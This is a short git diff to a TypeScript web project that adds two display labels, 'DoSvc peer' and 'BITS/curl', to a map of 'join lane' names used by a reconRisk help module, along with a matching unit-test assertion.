-32,6 +32,7 @@ describe('reconRisk', () => { it('joinLaneLabel formats known lanes', () => { expect(joinLaneLabel('winrm')).toBe('WinRM'); expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC'); + expect(joinLaneLabel('do_peer')).toBe('DoSvc peer'); expect(joinLaneLabel('')).toBeNull(); expect(joinLaneLabel('custom_lane')).toBe('custom lane'); }); diff --git a/server/web/src/help/reconRisk.ts b/server/web/src/help/reconRisk.ts index c82e4f4..2019d24 100644 --- a/server/web/src/help/reconRisk.ts +++ b/server/web/src/help/reconRisk.ts @@ -73,6 +73,8 @@ const JOIN_LANE_LABELS: Record = { gpo: 'GPO', docker: 'Docker', bits: 'BITS', + do_peer: 'DoSvc peer', + bits_curl: 'BITS/curl', intune: 'Intune', 'linux-lotl': 'Linux LOTL', linux_lotl: 'Linux LOTL',